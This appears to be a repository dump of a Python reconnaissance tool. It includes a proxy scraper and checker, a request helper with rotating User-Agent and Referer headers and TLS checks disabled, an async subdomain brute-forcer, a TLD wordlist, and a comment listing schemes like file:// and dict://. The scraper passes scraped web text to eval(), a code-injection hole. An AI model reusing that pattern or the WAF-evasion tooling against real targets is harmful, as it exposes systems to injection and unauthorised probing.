68 |
69 |
70 | for ips, types in zip(proxy_ips,proxy_types):
71 |
72 | ip, type = self.dic['xiladaili']['sub'].sub(" ",ips.group()),\
73 | self.dic['xiladaili']['sub'].sub(" ",types.group())
74 | pro = eval(regex.Espace_eliminate.sub("", str((ip,type.lower()))))
75 | proxy = (pro[0].split(":")[0],pro[0].split(":")[1],pro[1])
76 | self.logger.info(f"ip : {proxy[0]} port : {proxy[1]} type : {proxy[2]}")
77 |
78 | self.container.put(proxy)
79 |
80 |
81 | def proxy_ip3366(self):
82 |
83 | for page in range(1,11):
84 | try:
85 | url, params = chambering(f"http://www.ip3366.net/?stype=1&page={page}", strike=False)
86 | result = requester(url,params,GET=True,timeout=None)
87 | text = regex.Espace_eliminate.sub("",result.text)
88 |
89 | proxy_ips, proxy_ports, proxy_types = self.dic['ip3366']['ip'].finditer(text),\
90 | self.dic['ip3366']['port'].finditer(text),\
91 | self.dic['ip3366']['type'].finditer(text)
92 |
93 | for ips, ports, types in zip(proxy_ips, proxy_ports, proxy_types):
94 |
95 | ip, port, type = self.dic['ip3366']['sub'].sub(" ",ips.group()),\
96 | self.dic['ip3366']['sub'].sub(" ",ports.group()),\
97 | self.dic['ip3366']['sub'].sub(" ",types.group())
98 |
99 | proxy = eval(regex.Espace_eliminate.sub("", str((ip,port,type.lower()))))
100 |
101 | self.logger.info(f"ip : {proxy[0]} port : {proxy[1]} type : {proxy[2]}")
102 |
103 | self.container.put(proxy)
104 | except:
105 | pass
106 |
107 | def proxy_iphuan(self):
108 | url, params = chambering("https://ip.ihuan.me/", strike=False)
109 |
110 | url = requester("https://ip.ihuan.me/",params,GET=True,timeout=None)
111 | links = [link.group() for link in self.dic['ip_huan']['link'].finditer(url.text)]
112 | print(links)
113 |
114 |
115 | for i in range(len(links)):
116 | # print("".join(["https://ip.ihuan.me/",links[i]]))
117 | link = self.dic['ip_huan']['sub'].sub("",links[i])
118 | print(link)
119 |
120 | result = requester("".join(["https://ip.ihuan.me/",link]))
121 | text = regex.Espace_eliminate.sub("",result)
122 | proxy_ips, proxy_ports = self.dic['ip_huan']['ip'].finditer(text),\
123 | self.dic['ip_huan']['port'].finditer(text)
124 |
125 | for ips, ports in zip(proxy_ips,proxy_ports):
126 | ip, port, type = ips.group(),\
127 | self.dic['ip_huan']['sub'].sub(" ",ports),\
128 | "http"
129 | # print(ip)
130 | self.container.put((ip,port,type))
131 |
132 |
133 | def executor(self):
134 | self.proxy_ip3366()
135 | # self.proxy_xiladaili()
136 | self.generator_proxies()
137 | # self.proxy_iphuan()
138 |
139 | return self.container
140 |
141 |
142 | @staticmethod
143 | def check_live(proxy):
144 | check_ip = "http://httpbin.org/ip"
145 | ip = proxy[0]+":"+proxy[1]
146 | try:
147 | response = requester(check_ip, data = None, timeout = 3, GET = True, proxy = ip)
148 | if not response is None:
149 |
150 | if proxy[0] in response.text:
151 | return True
152 | return False
153 | return False
154 | except ConnectTimeoutError:
155 | return False
156 |
157 |
158 |
159 | if __name__ == '__main__':
160 | pro = Proxy("qq.com","StreamLogger")
161 | # pro.proxy_iphuan()
162 | prox = pro.executor()
163 |
--------------------------------------------------------------------------------
/core/regex.py:
--------------------------------------------------------------------------------
1 | import re
2 | import requests
3 | from data import config
4 | from core.requester import requester
5 |
6 | """
7 | file:///
8 | dict://
9 | sftp://
10 | ldap://
11 | tftp://
12 | """
13 |
14 | Espace_eliminate = re.compile(r"\s+")
15 |
16 | IP_REGEX = re.compile(r"(\d{1,3}\.){3}\d{1,3}?")
17 |
18 | # URL_REGEX1 = re.compile(r"((http|https|ftp)|\s)://.+\.sina(\.com|\.cn).*\=.+?\" \b")
19 |
20 | SEPARATE_PARAMS = re.compile(r"")
21 |
22 | URL_REGEX = re.compile("(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')")
23 |
24 | img = re.compile("(.*)
")
34 | # URL_REGEX1 = re.compile(r"(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+")
35 |
36 | # URL_REGEX3 = re.compile(r"http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+")
37 |
38 | # URL_REGEX2 = re.compile(r'(?i)\b((?:[a-z][\w-]+:(?:/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:\'".,<>?«»“”‘’]))')
39 | # URL_REGEX = re.compile(r'(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')')
40 |
41 | URL_PATH = re.compile(r"=\w+\b")
42 |
43 | # type = re.compile(r"
http[s]+")
44 |
45 | # test2 = re.compile(r"http[s]?://(\w|[$-_@.&+=](sina))+")
46 | #
47 | # test = re.compile(r"http[s]?://(\w+\.sina(\.c(om|n))+)")
48 | #
49 | # test3 = re.compile(r"http[s]?://(\w+\.sina(\.c(om|n))).*=.+")
50 |
51 |
52 | """
53 | 这里的正则表达式犯了一个很蠢的错误,没有必要再用正则'sub'规则清洗多余的杂质,
54 | 因为finditer返回的也是match对象,利用分组group就可以正确提取,一开始弄错了,
55 | 后来才意识到,我也懒得改了就这样吧,可能代码复杂度稍微要高一点吧。
56 | """
57 |
58 | data5u = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}?"),
59 | 'port' : re.compile(r"\d+",re.VERBOSE),
60 | 'type': re.compile(r"http[s]?"),
61 | 'sub' : re.compile(r"<([/]li)?.+?>",re.IGNORECASE)}
62 |
63 |
64 | xicidaili = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}? | "),
65 | 'port' : re.compile(r"\d{1,5} | "),
66 | 'type': re.compile(r"http[s]? | ",re.IGNORECASE),
67 | 'sub' : re.compile(r"<([/]td)?.+?>",re.IGNORECASE)}
68 |
69 |
70 | iphai = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}?"),
71 | 'port' : re.compile(r"\d{1,5} | "),
72 | 'type' : re.compile(r"http[s]? | ",re.IGNORECASE),
73 | 'sub' : re.compile(r"<([/]td)?.+?>",re.IGNORECASE)}
74 |
75 |
76 | xiladaili = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}:\d+? | "),
77 | 'port' : re.compile(r":\d+?"),
78 | 'type' : re.compile(r"http[s]? | ",re.IGNORECASE),
79 | 'sub' : re.compile(r"<([/]td)?.+?>",re.IGNORECASE)}
80 |
81 |
82 | ip3366 = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}? | "),
83 | 'port' : re.compile(r"\d{1,5} | "),
84 | 'type' : re.compile(r"http[s]? | ",re.IGNORECASE),
85 | 'sub' : re.compile(r"<([/]td)?.+?>",re.IGNORECASE)}
86 |
87 | jiangxianli = {'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}? | "),
88 | 'port' : re.compile(r"\d{1,5} | "),
89 | 'type' : re.compile(r"https[s] | ",re.IGNORECASE),
90 | 'sub' : re.compile(r"<([/]td)?.+?>",re.IGNORECASE)}
91 |
92 | ip_huan = {'link': re.compile(r"\"\?page=.+?\""),
93 | 'ip' : re.compile(r"(\d{1,3}\.){3}\d{1,3}?"),
94 | 'port' : re.compile(r"\d{1,5} | "),
95 | 'sub' : re.compile(r"(<([/]td)?.+?>)|(\")")}
96 |
97 |
--------------------------------------------------------------------------------
/core/requester.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from data import config
3 | from random import choice
4 |
5 | try:
6 | import requests
7 | import urllib3
8 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
9 | except ImportError:
10 | print("Need to install requests")
11 | quit()
12 |
13 | from urllib3.exceptions import (
14 | ProtocolError,
15 | ResponseError,
16 | ConnectTimeoutError,
17 | )
18 |
19 | # session = requests.session()
20 | def requester(url,data,GET,timeout = None,cookie = None,proxy = None):
21 |
22 |
23 | headers = {
24 | 'Accept' : '*/*',
25 | 'Accept-Encoding' : '*',
26 | 'Connection':'close',
27 | 'Referer' : choice(config.Referer),
28 | 'User-Agent':choice(config.User_agents)
29 | }
30 | GET, POST = (True, False) if GET else (False,True)
31 |
32 | try:
33 | # proxie = {'http' : '127.0.0.1:8080'}
34 |
35 | proxy = \
36 | {
37 | "http" : proxy
38 | }
39 |
40 | if GET:
41 |
42 | # with requests.session() as request:
43 | response = requests.get\
44 | (
45 | url,
46 | params = data,
47 | cookies = cookie,
48 | verify = False,
49 | timeout = timeout,
50 | stream = True,
51 | headers = headers,
52 | proxies = proxy
53 | )
54 | # response.encoding = 'utf-8'
55 |
56 | else:
57 | response = requests.post\
58 | (
59 | url,
60 | data = data,
61 | headers=headers,
62 | timeout=timeout,
63 | files = None,
64 | verify = False,
65 | proxies = None
66 | )
67 |
68 | response.encoding = 'utf-8'
69 |
70 | return response
71 |
72 | except (ProtocolError,ResponseError,ConnectTimeoutError):
73 | logging.warning("WAF")
74 | except Exception:
75 | pass
76 |
77 |
78 |
79 | if __name__ == '__main__':
80 | result = requester("http://httpbin.org/ip",data = None,GET = True)
81 | print(result.text)
82 |
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/core/subdomain.py:
--------------------------------------------------------------------------------
1 | import time
2 | import asyncio
3 | import aiodns
4 | from core.colors import blue_green,end
5 | from core.log import factory_logger,time
6 |
7 |
8 |
9 | class subdomain:
10 |
11 | def __init__(self,target,file,logger_type):
12 |
13 | self.file = file
14 | self.time = time
15 | self.subdomains = set()
16 | self.file_loader = asyncio.Queue()
17 | self.loop = asyncio.get_event_loop()
18 | self.domain = target.split(".", target.count(".") - 1)[-1]
19 | self.resolver = aiodns.DNSResolver(timeout=3, loop=self.loop)
20 | self.logger = factory_logger(logger_type, target, 'subdomain')
21 |
22 |
23 |
24 |
25 | def load_file(self):
26 | with open(f"data/{self.file}", "r", buffering=1024) as handle:
27 | for count in handle:
28 | prefix = handle.readline()
29 | subdomain = "".join([prefix.rstrip(), ".", self.domain])
30 |
31 | self.file_loader.put_nowait(subdomain)
32 |
33 |
34 |
35 | async def query(self):
36 | while True:
37 | domain = await self.file_loader.get()
38 | try:
39 | if await self.resolver.query(domain, 'A'):
40 | self.logger.info(f"{domain}")
41 | # self.logger2.info("query")
42 | self.subdomains.add(domain)
43 | # self.subdomains
44 |
45 | except aiodns.error.DNSError:
46 | pass
47 |
48 | finally:
49 | self.file_loader.task_done()
50 |
51 |
52 | async def process(self):
53 |
54 | tasks = [asyncio.create_task(self.query()) for _ in range(100)]
55 | await self.file_loader.join()
56 |
57 | for task in tasks:
58 | task.cancel()
59 |
60 | await asyncio.gather(*tasks, return_exceptions=True)
61 |
62 |
63 |
64 | def execution(self):
65 | try:
66 | self.load_file()
67 | self.loop.run_until_complete(self.process())
68 | # self.logger_count = factory_logger(logger_type,target, 'subdomain_count')
69 | # self.logger_count.info(f"{len(self.subdomains)}")
70 | print(f'{blue_green}[!][{self.time}] A total of {len(self.subdomains)} subdomains have been collected !{end}')
71 | return self.subdomains
72 | except Exception as e:
73 | return e
74 |
75 |
--------------------------------------------------------------------------------
/data/DNSPod.txt:
--------------------------------------------------------------------------------
1 | 2000.hu
2 | aaa
3 | aaa.pro
4 | aarp
5 | ab.ca
6 | abb
7 | abbott
8 | abc.name
9 | abogado
10 | ac
11 | ac.ae
12 | ac.at
13 | ac.be
14 | ac.cn
15 | ac.cr
16 | ac.cy
17 | ac.fj
18 | ac.fk
19 | ac.gg
20 | ac.id
21 | ac.il
22 | ac.im
23 | ac.in
24 | ac.ir
25 | ac.je
26 | ac.jp
27 | ac.kr
28 | ac.ma
29 | ac.ng
30 | ac.nz
31 | ac.om
32 | ac.pa
33 | ac.pg
34 | ac.th
35 | ac.ug
36 | ac.uk
37 | ac.vn
38 | ac.yu
39 | ac.za
40 | ac.zw
41 | aca.pro
42 | academy
43 | accenture
44 | accountant
45 | accountants
46 | acct.pro
47 | acg
48 | aco
49 | active
50 | actor
51 | ad
52 | ad.jp
53 | adac
54 | adm.br
55 | ads
56 | adult
57 | adv.br
58 | ae
59 | ae.org
60 | aeg
61 | aero
62 | aero.tt
63 | aeroport.fr
64 | af
65 | afl
66 | ag
67 | agency
68 | agr.br
69 | agrar.hu
70 | agro.pl
71 | ah.cn
72 | ai
73 | aichi.jp
74 | aid.pl
75 | aig
76 | airforce
77 | airtel
78 | akita.jp
79 | al
80 | alderney.gg
81 | alibaba
82 | alipay
83 | allfinanz
84 | alsace
85 | alt.na
86 | alt.za
87 | am
88 | am.br
89 | amica
90 | amsterdam
91 | an
92 | analytics
93 | android
94 | ao
95 | aomori.jp
96 | apartments
97 | app
98 | apple
99 | aq
100 | aquarelle
101 | ar
102 | ar.com
103 | aramco
104 | arc.pro
105 | archi
106 | army
107 | arpa
108 | arq.br
109 | art.br
110 | art.do
111 | art.dz
112 | arte
113 | arts.co
114 | arts.ro
115 | arts.ve
116 | as
117 | asia
118 | asn.au
119 | asn.lv
120 | ass.dz
121 | assedic.fr
122 | asso.fr
123 | asso.re
124 | associates
125 | at
126 | at.gg
127 | at.pn
128 | at.tc
129 | at.tf
130 | at.tt
131 | atm.pl
132 | ato.br
133 | attorney
134 | au
135 | au.com
136 | au.ms
137 | au.pn
138 | au.tc
139 | au.tt
140 | auction
141 | audi
142 | audio
143 | author
144 | auto
145 | auto.pl
146 | autos
147 | avocat.fr
148 | avocat.pro
149 | avoues.fr
150 | aw
151 | ax
152 | axa
153 | az
154 | azure
155 | ba
156 | baidu
157 | band
158 | bank
159 | bar
160 | bar.pro
161 | barcelona
162 | barclaycard
163 | barclays
164 | bargains
165 | barreau.fr
166 | bauhaus
167 | bayern
168 | bb
169 | bbc
170 | bbs.tr
171 | bbva
172 | bc.ca
173 | bcn
174 | bd
175 | be
176 | be.tc
177 | be.tt
178 | beats
179 | beer
180 | belgie.be
181 | bentley
182 | berlin
183 | best
184 | bet
185 | bf
186 | bg
187 | bg.tc
188 | bg.tf
189 | bh
190 | bharti
191 | bi
192 | bib.ve
193 | bible
194 | bid
195 | bike
196 | bing
197 | bingo
198 | bio
199 | bio.br
200 | biz
201 | biz.et
202 | biz.ki
203 | biz.om
204 | biz.pk
205 | biz.pl
206 | biz.tm
207 | biz.tt
208 | biz.vn
209 | bj
210 | bj.cn
211 | bl
212 | black
213 | blackfriday
214 | bloomberg
215 | blue
216 | bm
217 | bmd.br
218 | bms
219 | bmw
220 | bn
221 | bnl
222 | bnpparibas
223 | bo
224 | boats
225 | boehringer
226 | bolt.hu
227 | bom
228 | bond
229 | boo
230 | book
231 | boots
232 | bosch
233 | bostik
234 | bot
235 | bourse.za
236 | boutique
237 | box.tl
238 | bq
239 | br
240 | br.com
241 | br.ms
242 | br.tc
243 | bradesco
244 | brand.se
245 | bridgestone
246 | broadway
247 | broker
248 | brother
249 | brussels
250 | bs
251 | bt
252 | budapest
253 | bugatti
254 | build
255 | builders
256 | business
257 | buy
258 | buzz
259 | bv
260 | bw
261 | bxb.me
262 | by
263 | bz
264 | bzh
265 | ca
266 | ca.pn
267 | ca.tf
268 | ca.tt
269 | cab
270 | cafe
271 | cal
272 | call
273 | camera
274 | camp
275 | cancerresearch
276 | canon
277 | capetown
278 | capital
279 | car
280 | caravan
281 | cards
282 | care
283 | career
284 | careers
285 | cars
286 | cartier
287 | casa
288 | cash
289 | casino
290 | casino.hu
291 | cat
292 | catering
293 | cba
294 | cbn
295 | cc
296 | cci.fr
297 | cd
298 | ceb
299 | center
300 | ceo
301 | cern
302 | cf
303 | cfa
304 | cfd
305 | cg
306 | ch
307 | ch.gg
308 | ch.pn
309 | ch.tc
310 | ch.tf
311 | ch.vu
312 | chambagri.fr
313 | chanel
314 | channel
315 | chat
316 | cheap
317 | chiba.jp
318 | chirurgiens-dentiste
319 | chloe
320 | christmas
321 | chrome
322 | church
323 | chuzu.pro
324 | ci
325 | cim.br
326 | cipriani
327 | circle
328 | cisco
329 | citic
330 | city
331 | city.hu
332 | city.za
333 | cityeats
334 | ck
335 | cl
336 | claims
337 | cleaning
338 | click
339 | clinic
340 | clinique
341 | clothing
342 | cloud
343 | club
344 | club.tw
345 | clubmed
346 | cm
347 | cn
348 | cn.com
349 | cn.im
350 | cn.mn
351 | cn.ms
352 | cn.name
353 | cn.pn
354 | cng.br
355 | cngogo.com
356 | cnkk.org
357 | cnt.br
358 | co
359 | co.ae
360 | co.ag
361 | co.at
362 | co.be
363 | co.cc
364 | co.ck
365 | co.cm
366 | co.com
367 | co.cr
368 | co.dk
369 | co.gg
370 | co.hu
371 | co.id
372 | co.il
373 | co.im
374 | co.in
375 | co.ir
376 | co.je
377 | co.jp
378 | co.kr
379 | co.lc
380 | co.ma
381 | co.ms
382 | co.nl
383 | co.no
384 | co.nz
385 | co.om
386 | co.st
387 | co.th
388 | co.tt
389 | co.tv
390 | co.ug
391 | co.uk
392 | co.ve
393 | co.vi
394 | co.yu
395 | co.za
396 | co.zw
397 | coach
398 | codes
399 | coffee
400 | college
401 | cologne
402 | com
403 | com.ac
404 | com.ae
405 | com.ag
406 | com.ai
407 | com.ar
408 | com.au
409 | com.az
410 | com.band
411 | com.bb
412 | com.bh
413 | com.bi
414 | com.bm
415 | com.br
416 | com.bs
417 | com.bz
418 | com.ci
419 | com.cm
420 | com.cn
421 | com.co
422 | com.cu
423 | com.cy
424 | com.de
425 | com.do
426 | com.dz
427 | com.ec
428 | com.ee
429 | com.eg
430 | com.er
431 | com.es
432 | com.et
433 | com.fail
434 | com.fj
435 | com.fk
436 | com.fr
437 | com.ge
438 | com.gr
439 | com.gt
440 | com.gu
441 | com.hk
442 | com.hn
443 | com.hr
444 | com.ht
445 | com.im
446 | com.jo
447 | com.kh
448 | com.ki
449 | com.kw
450 | com.la
451 | com.lb
452 | com.lc
453 | com.lv
454 | com.ly
455 | com.mk
456 | com.mm
457 | com.mn
458 | com.mo
459 | com.ms
460 | com.mt
461 | com.mu
462 | com.mx
463 | com.my
464 | com.na
465 | com.nc
466 | com.nf
467 | com.ng
468 | com.ni
469 | com.nl
470 | com.np
471 | com.om
472 | com.pa
473 | com.pe
474 | com.pg
475 | com.ph
476 | com.pk
477 | com.pl
478 | com.pt
479 | com.py
480 | com.qa
481 | com.re
482 | com.ro
483 | com.ru
484 | com.sa
485 | com.sb
486 | com.sc
487 | com.sd
488 | com.se
489 | com.sg
490 | com.sh
491 | com.so
492 | com.st
493 | com.sv
494 | com.sy
495 | com.tn
496 | com.tr
497 | com.tt
498 | com.tw
499 | com.ua
500 | com.uy
501 | com.vc
502 | com.ve
503 | com.vet
504 | com.vn
505 | com.vu
506 | com.work
507 | com.ws
508 | com.ye
509 | commbank
510 | community
511 | company
512 | compare
513 | computer
514 | comsec
515 | condos
516 | conf.au
517 | conf.lv
518 | construction
519 | consulado.st
520 | consulting
521 | contact
522 | contractors
523 | cooking
524 | cool
525 | coop
526 | coop.br
527 | coop.tt
528 | corsica
529 | country
530 | coupons
531 | courses
532 | cpa.pro
533 | cq.cn
534 | cr
535 | credit
536 | creditcard
537 | creditunion
538 | cri.nz
539 | cricket
540 | crown
541 | crs
542 | cruises
543 | csc
544 | csiro.au
545 | cu
546 | cu.cc
547 | cuisinella
548 | cul.na
549 | cv
550 | cw
551 | cx
552 | cy
553 | cymru
554 | cyou
555 | cz
556 | cz.cc
557 | cz.co
558 | cz.tc
559 | cz.tf
560 | dabur
561 | dad
562 | dance
563 | date
564 | dating
565 | datsun
566 | day
567 | dclk
568 | dds.pro
569 | de
570 | de.com
571 | de.gg
572 | de.ms
573 | de.net
574 | de.pn
575 | de.tc
576 | de.tf
577 | de.tt
578 | de.vu
579 | dealer
580 | deals
581 | degree
582 | delivery
583 | dell
584 | deloitte
585 | delta
586 | democrat
587 | den.pro
588 | dental
589 | dentist
590 | desi
591 | design
592 | dev
593 | diamonds
594 | diet
595 | digital
596 | direct
597 | directory
598 | discount
599 | dj
600 | dk
601 | dk.org
602 | dk.tc
603 | dk.tt
604 | dm
605 | dni.us
606 | dnp
607 | dns.be
608 | dnt.pro
609 | do
610 | docs
611 | dog
612 | doha
613 | domain.name
614 | domains
615 | done.fail
616 | doosan
617 | download
618 | drive
619 | dubai
620 | durban
621 | dvag
622 | dz
623 | e164.arpa
624 | earth
625 | eat
626 | eb.cn
627 | ebiz.tw
628 | ec
629 | ecn.br
630 | ed.cr
631 | ed.jp
632 | edeka
633 | edu
634 | edu.ac
635 | edu.ai
636 | edu.ar
637 | edu.au
638 | edu.bh
639 | edu.bm
640 | edu.br
641 | edu.cc
642 | edu.ck
643 | edu.cn
644 | edu.co
645 | edu.do
646 | edu.dz
647 | edu.ec
648 | edu.eg
649 | edu.er
650 | edu.es
651 | edu.et
652 | edu.ge
653 | edu.gl
654 | edu.gr
655 | edu.gt
656 | edu.gu
657 | edu.hk
658 | edu.jo
659 | edu.kh
660 | edu.kw
661 | edu.lb
662 | edu.lc
663 | edu.lv
664 | edu.mm
665 | edu.mn
666 | edu.mo
667 | edu.ms
668 | edu.mt
669 | edu.mx
670 | edu.my
671 | edu.na
672 | edu.ng
673 | edu.ni
674 | edu.np
675 | edu.om
676 | edu.pa
677 | edu.pe
678 | edu.pk
679 | edu.pl
680 | edu.ps
681 | edu.pt
682 | edu.py
683 | edu.qa
684 | edu.sa
685 | edu.sb
686 | edu.sd
687 | edu.sg
688 | edu.sh
689 | edu.st
690 | edu.sv
691 | edu.tc
692 | edu.tf
693 | edu.tr
694 | edu.tt
695 | edu.tw
696 | edu.ua
697 | edu.uk
698 | edu.uy
699 | edu.ve
700 | edu.vn
701 | edu.vu
702 | edu.ws
703 | edu.ye
704 | edu.yu
705 | edu.za
706 | education
707 | edunet.tn
708 | ee
709 | eg
710 | eh
711 | ehime.jp
712 | email
713 | embaixada.st
714 | emerck
715 | energy
716 | eng.br
717 | eng.pro
718 | engineer
719 | engineering
720 | ens.tn
721 | enterprises
722 | epson
723 | equipment
724 | er
725 | ernet.in
726 | erni
727 | erotica.hu
728 | erotika.hu
729 | es
730 | es.tc
731 | es.tt
732 | esp.br
733 | esq
734 | estate
735 | et
736 | etc.br
737 | eti.br
738 | eu
739 | eu.com
740 | eu.org
741 | eu.tc
742 | eu.tf
743 | eu.tt
744 | eu.tv
745 | eun.eg
746 | eurovision
747 | eus
748 | events
749 | everbank
750 | exchange
751 | expert
752 | experts-comptables.f
753 | exposed
754 | express
755 | fage
756 | fail
757 | fairwinds
758 | faith
759 | fam.pk
760 | family
761 | fan
762 | fans
763 | far.br
764 | farm
765 | fashion
766 | fast
767 | fax.nr
768 | fed.us
769 | feedback
770 | ferrero
771 | fgov.be
772 | fh.se
773 | fhsk.se
774 | fhv.se
775 | fi
776 | fi.cr
777 | fie.ee
778 | film
779 | film.hu
780 | fin.ec
781 | fin.tn
782 | final
783 | finance
784 | financial
785 | firestone
786 | firm.co
787 | firm.in
788 | firm.ro
789 | firm.ve
790 | firmdale
791 | fish
792 | fishing
793 | fit
794 | fitness
795 | fj
796 | fj.cn
797 | fk
798 | flights
799 | florist
800 | flowers
801 | flsmidth
802 | fly
803 | fm
804 | fm.br
805 | fnd.br
806 | fo
807 | foo
808 | football
809 | ford
810 | forex
811 | forsale
812 | forum
813 | forum.hu
814 | fot.br
815 | foundation
816 | fox
817 | fr
818 | fr.gg
819 | fr.ms
820 | fr.pn
821 | fr.tt
822 | fr.vu
823 | fresenius
824 | frl
825 | frogans
826 | fst.br
827 | fukui.jp
828 | fukuoka.jp
829 | fukushima.jp
830 | fund
831 | furniture
832 | futbol
833 | fyi
834 | g12.br
835 | ga
836 | gal
837 | gallery
838 | game
839 | game.tw
840 | games.hu
841 | garden
842 | gb
843 | gb.com
844 | gb.net
845 | gbiz
846 | gc.ca
847 | gd
848 | gd.cn
849 | gdn
850 | ge
851 | gea
852 | geek.nz
853 | gen.in
854 | gen.nz
855 | gen.tr
856 | gent
857 | genting
858 | geometre-expert.fr
859 | gf
860 | gg
861 | ggee
862 | ggf.br
863 | gh
864 | gi
865 | gift
866 | gifts
867 | gifu.jp
868 | gives
869 | giving
870 | gl
871 | glass
872 | gle
873 | global
874 | globo
875 | gm
876 | gmail
877 | gmina.pl
878 | gmo
879 | gmx
880 | gn
881 | go.cr
882 | go.id
883 | go.jp
884 | go.kr
885 | go.th
886 | go.ug
887 | gob.do
888 | gob.es
889 | gob.gt
890 | gob.mx
891 | gob.ni
892 | gob.pa
893 | gob.pe
894 | gob.pk
895 | gob.sv
896 | gok.pk
897 | gold
898 | goldpoint
899 | golf
900 | gon.pk
901 | goo
902 | good.name
903 | goog
904 | google
905 | gop
906 | gop.pk
907 | gos.pk
908 | got
909 | gouv.fr
910 | gov
911 | gov.ac
912 | gov.ae
913 | gov.ai
914 | gov.ar
915 | gov.au
916 | gov.bh
917 | gov.bm
918 | gov.br
919 | gov.ck
920 | gov.cn
921 | gov.co
922 | gov.cy
923 | gov.do
924 | gov.dz
925 | gov.ec
926 | gov.eg
927 | gov.er
928 | gov.et
929 | gov.fj
930 | gov.fk
931 | gov.ge
932 | gov.gg
933 | gov.gr
934 | gov.gu
935 | gov.hk
936 | gov.il
937 | gov.im
938 | gov.in
939 | gov.ir
940 | gov.je
941 | gov.jo
942 | gov.jp
943 | gov.kh
944 | gov.kw
945 | gov.lb
946 | gov.lc
947 | gov.lv
948 | gov.mm
949 | gov.mn
950 | gov.mo
951 | gov.my
952 | gov.ng
953 | gov.np
954 | gov.om
955 | gov.pk
956 | gov.ps
957 | gov.pt
958 | gov.qa
959 | gov.ru
960 | gov.sa
961 | gov.sb
962 | gov.sd
963 | gov.sg
964 | gov.sh
965 | gov.st
966 | gov.sy
967 | gov.tn
968 | gov.tr
969 | gov.tt
970 | gov.tw
971 | gov.ua
972 | gov.uk
973 | gov.ve
974 | gov.vn
975 | gov.ws
976 | gov.ye
977 | gov.za
978 | gov.zw
979 | govt.nz
980 | gp
981 | gq
982 | gr
983 | gr.com
984 | gr.jp
985 | grainger
986 | graphics
987 | gratis
988 | green
989 | greta.fr
990 | gripe
991 | group
992 | gs
993 | gs.cn
994 | gsm.pl
995 | gt
996 | gu
997 | gub.uy
998 | gucci
999 | guernsey.gg
1000 | guge
1001 | guide
1002 | guitars
1003 | gunma.jp
1004 | guru
1005 | gv.at
1006 | gw
1007 | gx.cn
1008 | gy
1009 | gz.cn
1010 | ha.cn
1011 | hamburg
1012 | hangout
1013 | haus
1014 | hb.cn
1015 | he.cn
1016 | health
1017 | health.vn
1018 | healthcare
1019 | help
1020 | helsinki
1021 | here
1022 | hermes
1023 | hi.cn
1024 | hiphop
1025 | hiroshima.jp
1026 | hitachi
1027 | hiv
1028 | hj.cx
1029 | hk
1030 | hk.cn
1031 | hk.com
1032 | hk.ms
1033 | hk.tc
1034 | hl.cn
1035 | hm
1036 | hn
1037 | hn.cn
1038 | hockey
1039 | hokkaido.jp
1040 | holdings
1041 | holiday
1042 | home.kg
1043 | homedepot
1044 | homes
1045 | honda
1046 | horse
1047 | host
1048 | hosting
1049 | hotel.hu
1050 | hoteles
1051 | hotmail
1052 | house
1053 | how
1054 | hr
1055 | hsbc
1056 | ht
1057 | hu
1058 | hu.com
1059 | hu.tc
1060 | huissier-justice.fr
1061 | hyogo.jp
1062 | hyundai
1063 | ibaraki.jp
1064 | ibiz.cc
1065 | ibm
1066 | icbc
1067 | ice
1068 | icu
1069 | id
1070 | id.au
1071 | id.fj
1072 | id.ir
1073 | id.lv
1074 | idf.il
1075 | idv.hk
1076 | idv.tw
1077 | ie
1078 | ie.tc
1079 | ifm
1080 | igg.biz
1081 | iinet
1082 | il
1083 | im
1084 | imb.br
1085 | immo
1086 | immobilien
1087 | in
1088 | in.net
1089 | in.th
1090 | ind.br
1091 | ind.er
1092 | ind.gg
1093 | ind.gt
1094 | ind.in
1095 | ind.je
1096 | ind.tn
1097 | industries
1098 | inf.br
1099 | infiniti
1100 | info
1101 | info.au
1102 | info.co
1103 | info.et
1104 | info.ht
1105 | info.hu
1106 | info.ki
1107 | info.ms
1108 | info.nf
1109 | info.pl
1110 | info.ro
1111 | info.tm
1112 | info.tn
1113 | info.tt
1114 | info.ve
1115 | info.vn
1116 | ing
1117 | ing.pro
1118 | ingatlan.hu
1119 | ink
1120 | institute
1121 | insurance
1122 | insure
1123 | int
1124 | int.ar
1125 | int.co
1126 | int.pt
1127 | int.ru
1128 | int.tc
1129 | int.tf
1130 | int.tt
1131 | int.ve
1132 | int.vn
1133 | international
1134 | intl.tn
1135 | investments
1136 | io
1137 | ipiranga
1138 | iq
1139 | ir
1140 | irc.se
1141 | irc.su
1142 | irish
1143 | is
1144 | iselect
1145 | ishikawa.jp
1146 | ist
1147 | istanbul
1148 | it
1149 | it.pn
1150 | it.tc
1151 | itau
1152 | iwate.jp
1153 | iwc
1154 | iwi.nz
1155 | jaguar
1156 | java
1157 | jcb
1158 | je
1159 | jersey.je
1160 | jetzt
1161 | jewelry
1162 | jl.cn
1163 | jlc
1164 | jll
1165 | jm
1166 | jmp
1167 | jo
1168 | jobs
1169 | jobs.tt
1170 | joburg
1171 | jogasz.hu
1172 | jor.br
1173 | jot
1174 | joy
1175 | jp
1176 | jp.net
1177 | jp.pn
1178 | jpn.com
1179 | jprs
1180 | js.cn
1181 | juegos
1182 | jur.pro
1183 | jx.cn
1184 | k12.ec
1185 | k12.il
1186 | k12.tr
1187 | kagawa.jp
1188 | kagoshima.jp
1189 | kanagawa.jp
1190 | kanazawa.jp
1191 | kaufen
1192 | kawasaki.jp
1193 | kddi
1194 | ke
1195 | kfh
1196 | kg
1197 | kh
1198 | ki
1199 | kia
1200 | kim
1201 | kinder
1202 | kitakyushu.jp
